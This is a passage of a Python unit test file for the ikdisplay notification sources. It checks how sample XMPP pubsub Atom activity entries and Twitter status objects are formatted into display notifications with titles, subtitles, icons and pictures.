site = source.Site(uri=u'http://www.mediamatic.net/')
self.source = source.StatusSource(site=site)
def test_formatPayload(self):
xml = """
<rsp>
<status>roze koeken ftw</status>
<person>
<title>Arjan Scherpenisse</title>
<image>http://fast.mediamatic.nl/f/sjnh/image/530/27597-480-480-crop.jpg</image>
<uri>http://www.mediamatic.net/id/22661</uri>
</person>
</rsp>
"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Arjan Scherpenisse',
notification['title'])
self.assertEquals(u'roze koeken ftw',
notification['subtitle'])
def test_formatPayloadNoStatus(self):
xml = """
<rsp>
<status></status>
<person>
<title>Arjan Scherpenisse</title>
<image>http://fast.mediamatic.nl/f/sjnh/image/530/27597-480-480-crop.jpg</image>
<uri>http://www.mediamatic.net/id/22661</uri>
</person>
</rsp>"""
notification = formatPayload(self.source, xml)
self.assertIdentical(None, notification)
def test_formatPayloadStatusEmpty(self):
xml = """
<rsp>
<status>is</status>
<person>
<title>Arjan Scherpenisse</title>
<image>http://fast.mediamatic.nl/f/sjnh/image/530/27597-480-480-crop.jpg</image>
<uri>http://www.mediamatic.net/id/22661</uri>
</person>
</rsp>"""
notification = formatPayload(self.source, xml)
self.assertIdentical(None, notification)
def test_getNodeSite(self):
"""
A StatusSource for the whole site listens to the 'status' node.
"""
service, nodeIdentifier = self.source.getNode()
self.assertEqual('pubsub.mediamatic.net', service.full())
self.assertEqual('status', nodeIdentifier)
class TwitterSourceTest(unittest.TestCase):
"""
Tests for L{ikdisplay.source.TwitterSource}.
"""
def setUp(self):
self.feed = aggregator.Feed(handle=u'test', language=u'en')
self.source = source.TwitterSource()
self.source.feed = self.feed
self.source.activate()
user = User()
user.id = 2426271
user.screen_name = u'ralphm'
user.profile_image_url = u'http://a2.twimg.com/profile_images/45293402/ralphm-buddy_normal.png'
self.status = Status()
self.status.id = 1
self.status.user = user
self.status.text = u'Test'
self.source = source.TwitterSource()
self.source.feed = self.feed
self.source.activate()
def test_interfaceISource(self):
"""
Does this source provide L{source.ISource}?
"""
verify.verifyObject(source.ISource, self.source)
def test_format(self):
notification = self.source.format(self.status)
self.assertEquals(u'ralphm', notification['title'])
self.assertEquals(u'Test', notification['subtitle'])
self.assertEquals(self.status.user.profile_image_url,
notification['icon'])
self.assertTrue(notification['meta'].endswith(u' via Twitter'))
def test_formatDisplayURL(self):
self.status.text = (u'#Photos on Twitter: taking flight '
'http://t.co/qbJx26r http://t.co/123456')
self.status.entities = Entities()
media = Media()
media.url = "http://t.co/qbJx26r"
media.display_url = "pic.twitter.com/qbJx26r"
media.indices = Indices()
media.indices.start = 34
media.indices.end = 53
self.status.entities.media = [media]
url = URL()
url.url = "http://t.co/123456"
url.display_url = u"pic.twitter.com/12345\u2026"
url.indices = Indices()
url.indices.start = 54
url.indices.end = 73
self.status.entities.urls = [url]
notification = self.source.format(self.status)
self.assertEquals(u'#Photos on Twitter: taking flight '
u'pic.twitter.com/qbJx26r '
u'pic.twitter.com/12345\u2026',
notification['subtitle'])
self.assertEquals(u'#Photos on Twitter: taking flight '
u"<a href='http://t.co/qbJx26r'>"
u"pic.twitter.com/qbJx26r</a> "
u"<a href='http://t.co/123456'>"
u"pic.twitter.com/12345\u2026</a>",
notification['html'])
def test_formatDisplayURLRetweeted(self):
"""
Retweets with links are rendered properly.
"""
self.status.user.id = 1
self.status.user.screen_name = u'test'
status = self.status.retweeted_status = Status()
status.text = (u'Today, many XMPP servers switch to mandatory '
u'encryption. Happy Open Discussion Day! '
u'http://t.co/MNH87vwe4T http://t.co/DbKFDlV9M8')
user = User()
user.id = 2426271
user.screen_name = u'ralphm'
status.user = user
status.entities = Entities()
urls = []
url = URL()
url.url = "http://t.co/MNH87vwe4T"
url.display_url = "opendiscussionday.org"
url.indices = Indices()
url.indices.start = 84
url.indices.end = 106
urls.append(url)
url = URL()
url.url = "http://t.co/DbKFDlV9M8"
url.display_url = u"stpeter.im/journal/1496.h\u2026"
url.indices = Indices()
url.indices.start = 107
url.indices.end = 129
urls.append(url)
status.entities.urls = urls
notification = self.source.format(self.status)
self.assertEquals(u'RT @ralphm: '
u'Today, many XMPP servers switch to mandatory '
u'encryption. Happy Open Discussion Day! '
u'opendiscussionday.org '
u'stpeter.im/journal/1496.h\u2026',
notification['subtitle'])
self.assertEquals(u'RT @ralphm: '
u'Today, many XMPP servers switch to mandatory '
u'encryption. Happy Open Discussion Day! '
u"<a href='http://t.co/MNH87vwe4T'>"
u'opendiscussionday.org</a> '
u"<a href='http://t.co/DbKFDlV9M8'>"
u'stpeter.im/journal/1496.h\u2026</a>',
notification['html'])
def test_formatMatchPermutation(self):
"""
Space separated terms match statuses in other permutations.
"""
self.status.text = "twisted python rocks"
self.source.terms = ['python twisted']
notification = self.source.format(self.status)
self.assertNotIdentical(None, notification)
def test_formatMatchQuoted(self):
"""
Quoted terms match.
"""
self.status.text = "twisted python rocks"
self.source.terms = ['"twisted python"']
notification = self.source.format(self.status)
self.assertNotIdentical(None, notification)
def test_formatMatchQuotedNoPermutation(self):
"""
Quoted terms do not match in other permutations.
"""
self.status.text = "twisted python rocks"
self.source.terms = ['"python twisted"']
notification = self.source.format(self.status)
self.assertIdentical(None, notification)
def test_formatMatchUserID(self):
self.source.terms = []
self.source.userIDs = ['2426271']
notification = self.source.format(self.status)
self.assertNotIdentical(None, notification)
def test_formatMatchUserIDRetweeted(self):
"""
User IDs of retweeted users match.
"""
self.source.terms = []
self.source.userIDs = ['123']
self.status.retweeted_status = Status()
self.status.retweeted_status.text = 'test'
self.status.retweeted_status.user = User()
self.status.retweeted_status.user.id = 123
self.status.retweeted_status.user.screen_name = 'test'
notification = self.source.format(self.status)
self.assertNotIdentical(None, notification)
def test_formatURI(self):
"""
The Tweet URI is constructed from the screenname and tweet id.
"""
self.status.id = 210462857140252672
self.status.user.screen_name = u'twitterapi'
notification = self.source.format(self.status)
self.assertEqual(
'https://twitter.com/twitterapi/statuses/210462857140252672',
notification['uri'])
class IkCamSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.IkCamSource}.
"""
def setUp(self):
self.source = source.IkCamSource()
def test_getNodeCreator(self):
"""
An IkCamSource with a creator listens for ikcam pictures by creator.
"""
self.source.creator = source.Thing(uri=u'http://example.org/id/1')
service, nodeIdentifier = self.source.getNode()
self.assertEqual(u'pubsub.example.org', service.full())
self.assertEqual(u'ikcam/1', nodeIdentifier)
def test_getNodeEvent(self):
"""
An IkCamSource with an event listens for ikcam pictures taken there.
"""
self.source.event = source.Thing(uri=u'http://example.org/id/2')
service, nodeIdentifier = self.source.getNode()
self.assertEqual(u'pubsub.example.org', service.full())
self.assertEqual(u'ikcam/by_event/2', nodeIdentifier)
def test_formatPayload(self):
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2011-03-30T14:02:31+02:00</published>
<updated>2011-03-30T14:02:31+02:00</updated>
<id>http://ixion.local/activity/832</id>
<title type="html"><a href="http://ixion.local/person/421/nl">aapje</a> maakte een <a href="http://ixion.local/page/613/nl">zelfportret</a> tijdens <a href="http://ixion.local/page/528/nl">Eurosonic Noorderslag</a>.</title>
<link rel="alternate" type="text/html" href="http://ixion.local/page/613/nl"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2010/activitystreams/ikcam</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/613</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<title xmlns="http://www.w3.org/2005/Atom">asfd at Eurosonic Noorderslag</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://ixion.local/page/613/nl"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://ixion.local/image/804/613-480-360.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://ixion.local/figure/613"/>
</object>
<target xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/528</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/artefact</object-type>
<title xmlns="http://www.w3.org/2005/Atom">Eurosonic Noorderslag</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://ixion.local/page/528/nl"/>
</target>
<author>
<id>http://ixion.local/id/421</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<link rel="alternate" href="http://ixion.local/person/421/nl"/>
<name>aapje</name>
<uri>http://ixion.local/person/421/nl</uri>
</author>
<agent xmlns="http://mediamatic.nl/ns/anymeta/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/526</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns="http://www.w3.org/2005/Atom">ikCam Agent</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://ixion.local/person/526/nl"/>
</agent>
</entry>"""
self.source.event = source.Thing(uri=u'http://ixion.local/id/528')
notification = formatPayload(self.source, xml)
self.assertEquals(u'aapje', notification['title'])
self.assertEquals(u'took a self-portrait at Eurosonic Noorderslag',
notification['subtitle'])
self.assertEquals(u'http://ixion.local/figure/613?width=480', notification['picture'])
def test_formatPayloadMultiple(self):
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2011-03-30T16:49:31+02:00</published>
<updated>2011-03-30T16:49:31+02:00</updated>
<id>http://ixion.local/activity/834</id>
<title type="html"><a href="http://ixion.local/person/521/nl">Arjan</a> en <a href="http://ixion.local/person/421/nl">aapje</a> maakten samen een <a href="http://ixion.local/page/614/nl">groepsfoto</a> tijdens <a href="http://ixion.local/page/528/nl">Eurosonic Noorderslag</a>.</title>
<link rel="alternate" type="text/html" href="http://ixion.local/page/614/nl"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2010/activitystreams/ikcam</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/614</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<title xmlns="http://www.w3.org/2005/Atom">Arjan en asfd at Eurosonic Noorderslag</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://ixion.local/page/614/nl"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://ixion.local/image/789/614-480-360.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://ixion.local/figure/614"/>
</object>
<target xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/528</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/artefact</object-type>
<title xmlns="http://www.w3.org/2005/Atom">Eurosonic Noorderslag</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://ixion.local/page/528/nl"/>
</target>
<author>
<id>http://ixion.local/id/521</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<link rel="alternate" href="http://ixion.local/person/521/nl"/>
<name>Arjan</name>
<uri>http://ixion.local/person/521/nl</uri>
</author>
<author>
<id>http://ixion.local/id/421</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<link rel="alternate" href="http://ixion.local/person/421/nl"/>
<name>aapje</name>
<uri>http://ixion.local/person/421/nl</uri>
</author>
<agent xmlns="http://mediamatic.nl/ns/anymeta/">
<id xmlns="http://www.w3.org/2005/Atom">http://ixion.local/id/526</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns="http://www.w3.org/2005/Atom">ikCam Agent</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://ixion.local/person/526/nl"/>
</agent>
</entry>
"""
self.source.event = source.Thing(uri=u'http://ixion.local/id/528')
notification = formatPayload(self.source, xml)
self.assertEquals(u'Arjan and aapje', notification['title'])
self.assertEquals(u'took a group portrait at Eurosonic Noorderslag',
notification['subtitle'])
self.assertEquals(u'http://ixion.local/figure/614?width=480', notification['picture'])
class RegDeskSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.RegDeskSource}.
"""
def setUp(self):
self.source = source.RegDeskSource()
class RaceSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.RaceSource}.
"""
def setUp(self):
self.source = source.RaceSource()
class ActivityStreamSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.ActivityStreamSource}.
"""
def setUp(self):
site = source.Site(uri=u'http://dwaal.local/')
self.source = source.ActivityStreamSource(site=site)
def test_formatPayloadTag(self):
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-10-22T15:12:55+02:00</published>
<updated>2010-10-22T15:12:55+02:00</updated>
<id>http://dwaal.local/activity/80/15</id>
<title type="html">Ralph Meijer tagde Birgit Meijer in Test artikel</title>
<link href="http://dwaal.local/id/99" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/tag</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://dwaal.local/id/99</id>
<title xmlns="http://www.w3.org/2005/Atom">Birgit Meijer</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</object>
<target xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://dwaal.local/id/83</id>
<title xmlns="http://www.w3.org/2005/Atom">Test artikel</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/article</object-type>
</target>
<author>
<id>http://dwaal.local/id/80</id>
<uri>http://dwaal.local/id/80</uri>
<name>Ralph Meijer</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Ralph Meijer', notification['title'])
self.assertEquals(u'tagged Birgit Meijer in Test artikel',
notification['subtitle'])
def test_formatPayloadPost(self):
"""
An entry with the post verb that includes an actor icon.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-10-22T15:12:55+02:00</published>
<updated>2010-10-22T15:12:55+02:00</updated>
<id>http://dwaal.local/activity/80/14</id>
<title type="html">Ralph Meijer maakte Birgit Meijer</title>
<link href="http://dwaal.local/id/99" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://dwaal.local/id/99</id>
<title xmlns="http://www.w3.org/2005/Atom">Birgit Meijer</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</object>
<author>
<id>http://dwaal.local/id/80</id>
<uri>http://dwaal.local/id/80</uri>
<name>Ralph Meijer</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<link rel="enclosure" href="http://dwaal.local/image/432/96-192-192.jpg"/>
<link rel="figure" href="http://dwaal.local/figure/80"/>
</author>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Ralph Meijer', notification['title'])
self.assertEquals(u'posted Birgit Meijer',
notification['subtitle'])
self.assertEquals(u'http://dwaal.local/figure/80?width=80&height=80&filter=crop',
notification['icon'])
def test_formatPayloadPostNoIcon(self):
"""
An entry with the post verb that lacks an actor icon.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-10-22T15:12:55+02:00</published>
<updated>2010-10-22T15:12:55+02:00</updated>
<id>http://dwaal.local/activity/80/14</id>
<title type="html">Ralph Meijer maakte Birgit Meijer</title>
<link href="http://dwaal.local/id/99" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://dwaal.local/id/99</id>
<title xmlns="http://www.w3.org/2005/Atom">Birgit Meijer</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</object>
<author>
<id>http://dwaal.local/id/80</id>
<uri>http://dwaal.local/id/80</uri>
<name>Ralph Meijer</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertNotIn('icon', notification)
def test_formatPayloadPostAttachment(self):
"""
An entry with the post verb, object type attachment, with picture.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-11-19T12:16:18+01:00</published>
<updated>2010-11-19T12:16:18+01:00</updated>
<id>http://www.mediamatic.net/activity/1053</id>
<title type="html">anyMeta Cyborg created Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric.</title>
<link href="http://www.mediamatic.net/id/167544" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/167544</id>
<title xmlns="http://www.w3.org/2005/Atom">Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/403/167544-600-375.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://www.mediamatic.net/figure/167544"/>
</object>
<author>
<id>http://www.mediamatic.net/id/28344</id>
<uri>http://www.mediamatic.net/id/28344</uri>
<name>anyMeta Cyborg</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
<link href="http://www.mediamatic.net/figure/28344" rel="preview"/>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'http://www.mediamatic.net/figure/167544?width=480',
notification['picture'])
def test_formatPayloadPostAttachmentNoPicture(self):
"""
An entry with the post verb, object type attachment, without picture.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-11-19T12:16:18+01:00</published>
<updated>2010-11-19T12:16:18+01:00</updated>
<id>http://www.mediamatic.net/activity/1053</id>
<title type="html">anyMeta Cyborg created Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric.</title>
<link href="http://www.mediamatic.net/id/167544" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/167544</id>
<title xmlns="http://www.w3.org/2005/Atom">Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
</object>
<author>
<id>http://www.mediamatic.net/id/28344</id>
<uri>http://www.mediamatic.net/id/28344</uri>
<name>anyMeta Cyborg</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
<link href="http://www.mediamatic.net/figure/28344" rel="preview"/>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertNotIn('picture', notification)
def test_formatPayloadPostAgent(self):
"""
An entry with the post verb, object type attachment, with picture.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-11-19T12:16:18+01:00</published>
<updated>2010-11-19T12:16:18+01:00</updated>
<id>http://www.mediamatic.net/activity/1053</id>
<title type="html">anyMeta Cyborg created Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric.</title>
<link href="http://www.mediamatic.net/id/167544" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/167544</id>
<title xmlns="http://www.w3.org/2005/Atom">Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/403/167544-600-375.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://www.mediamatic.net/figure/167544"/>
</object>
<author>
<id>http://www.mediamatic.net/id/28344</id>
<uri>http://www.mediamatic.net/id/28344</uri>
<name>anyMeta Cyborg</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
<agent xmlns='http://mediamatic.nl/ns/anymeta/'>
<id xmlns='http://www.w3.org/2005/Atom'>http://www.mediamatic.net/id/28344</id>
<object-type xmlns='http://activitystrea.ms/spec/1.0/'>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns='http://www.w3.org/2005/Atom'>anyMeta Cyborg</title>
<link rel='alternate' href='http://www.mediamatic.net/id/28344' xmlns='http://www.w3.org/2005/Atom'/>
<link rel='enclosure' href='http://fast.mediamatic.nl/f/sjnh/image/456/29055-480-360.jpg' xmlns='http://www.w3.org/2005/Atom'/>
<link rel='figure' href='http://www.mediamatic.net/figure/28344' xmlns='http://www.w3.org/2005/Atom'/>
</agent>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertIdentical(None, notification)
def test_formatPayloadUpdate(self):
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-10-22T16:37:42+02:00</published>
<updated>2010-10-22T16:37:42+02:00</updated>
<id>http://dwaal.local/activity/80/16</id>
<title type="html">Ralph Meijer paste Birgit Meijer! aan</title>
<link href="http://dwaal.local/id/99" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/update</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://dwaal.local/id/99</id>
<title xmlns="http://www.w3.org/2005/Atom">Birgit Meijer</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</object>
<author>
<id>http://dwaal.local/id/80</id>
<uri>http://dwaal.local/id/80</uri>
<name>Ralph Meijer</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Ralph Meijer', notification['title'])
self.assertEquals(u'updated Birgit Meijer',
notification['subtitle'])
def test_formatPayloadRFID(self):
"""
An entry with an RFID (ikTag) verb.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-12-22T19:23:04+01:00</published>
<updated>2010-12-22T19:23:04+01:00</updated>
<id>http://www.mediamatic.net/activity/40313</id>
<title type="html">Ralph Meijer connected an ikTag to his/her account. </title>
<link rel="alternate" type="text/html" href="http://www.mediamatic.net/id/24879"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2010/activitystreams/iktag</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/24879</id>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns="http://www.w3.org/2005/Atom">Ralph Meijer</title>
<link xmlns="http://www.w3.org/2005/Atom" rel="alternate" href="http://www.mediamatic.net/id/24879"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/914/24881-360-480.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://www.mediamatic.net/figure/24879"/>
</object>
<author>
<id>http://www.mediamatic.net/id/24879</id>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title>Ralph Meijer</title>
<link rel="alternate" href="http://www.mediamatic.net/id/24879"/>
<link rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/914/24881-360-480.jpg"/>
<link rel="figure" href="http://www.mediamatic.net/figure/24879"/>
<name>Ralph Meijer</name>
<uri>http://www.mediamatic.net/id/24879</uri>
</author>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Ralph Meijer', notification['title'])
self.assertEquals(u'linked an ikTag', notification['subtitle'])
def test_getNodeSite(self):
"""
A ActivityStreamSource for a site listens to the 'activity' node.
"""
service, nodeIdentifier = self.source.getNode()
self.assertEqual('dwaal.local', service.full())
self.assertEqual('activity', nodeIdentifier)
class WoWSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.WoWSource}.
"""
def setUp(self):
agent = source.Thing(uri=u'http://www.mediamatic.net/id/28344')
self.source = source.WoWSource(agent=agent)
def test_formatPayloadPostAgent(self):
"""
An entry with the post verb, object type attachment, with picture.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom"> <published>2010-11-19T12:16:18+01:00</published>
<updated>2010-11-19T12:16:18+01:00</updated>
<id>http://www.mediamatic.net/activity/1053</id>
<title type="html">anyMeta Cyborg created Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric.</title>
<link href="http://www.mediamatic.net/id/167544" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/167544</id>
<title xmlns="http://www.w3.org/2005/Atom">Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/403/167544-600-375.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://www.mediamatic.net/figure/167544"/>
</object>
<author>
<id>http://www.mediamatic.net/id/28344</id>
<uri>http://www.mediamatic.net/id/28344</uri>
<name>anyMeta Cyborg</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
<agent xmlns='http://mediamatic.nl/ns/anymeta/'>
<id xmlns='http://www.w3.org/2005/Atom'>http://www.mediamatic.net/id/28344</id>
<object-type xmlns='http://activitystrea.ms/spec/1.0/'>http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
<title xmlns='http://www.w3.org/2005/Atom'>anyMeta Cyborg</title>
<link rel='alternate' href='http://www.mediamatic.net/id/28344' xmlns='http://www.w3.org/2005/Atom'/>
<link rel='enclosure' href='http://fast.mediamatic.nl/f/sjnh/image/456/29055-480-360.jpg' xmlns='http://www.w3.org/2005/Atom'/>
<link rel='figure' href='http://www.mediamatic.net/figure/28344' xmlns='http://www.w3.org/2005/Atom'/>
</agent>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertNotIdentical(None, notification)
def test_formatPayloadPostNoAgent(self):
"""
An entry with the post verb, object type attachment, with picture.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-11-19T12:16:18+01:00</published>
<updated>2010-11-19T12:16:18+01:00</updated>
<id>http://www.mediamatic.net/activity/1053</id>
<title type="html">anyMeta Cyborg created Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric.</title>
<link href="http://www.mediamatic.net/id/167544" type="text/html" rel="alternate"/>
<verb xmlns="http://activitystrea.ms/spec/1.0/">http://activitystrea.ms/schema/1.0/post</verb>
<object xmlns="http://activitystrea.ms/spec/1.0/">
<id xmlns="http://www.w3.org/2005/Atom">http://www.mediamatic.net/id/167544</id>
<title xmlns="http://www.w3.org/2005/Atom">Evelyn, Simon, Axel at Dev Camp \xe2\x80\x9910 \xe2\x80\x94 IkSentric</title>
<object-type>http://mediamatic.nl/ns/anymeta/2008/kind/attachment</object-type>
<link xmlns="http://www.w3.org/2005/Atom" rel="enclosure" href="http://fast.mediamatic.nl/f/sjnh/image/403/167544-600-375.jpg"/>
<link xmlns="http://www.w3.org/2005/Atom" rel="figure" href="http://www.mediamatic.net/figure/167544"/>
</object>
<author>
<id>http://www.mediamatic.net/id/28344</id>
<uri>http://www.mediamatic.net/id/28344</uri>
<name>anyMeta Cyborg</name>
<object-type xmlns="http://activitystrea.ms/spec/1.0/">http://mediamatic.nl/ns/anymeta/2008/kind/person</object-type>
</author>
</entry>"""
notification = formatPayload(self.source, xml)
self.assertIdentical(None, notification)
def test_formatPayloadPostOtherAgent(self):
"""
An entry with the post verb, object type attachment, with picture.
"""
xml = """
<entry xmlns="http://www.w3.org/2005/Atom">
<published>2010-11-19T12:16:18+01:00</published>
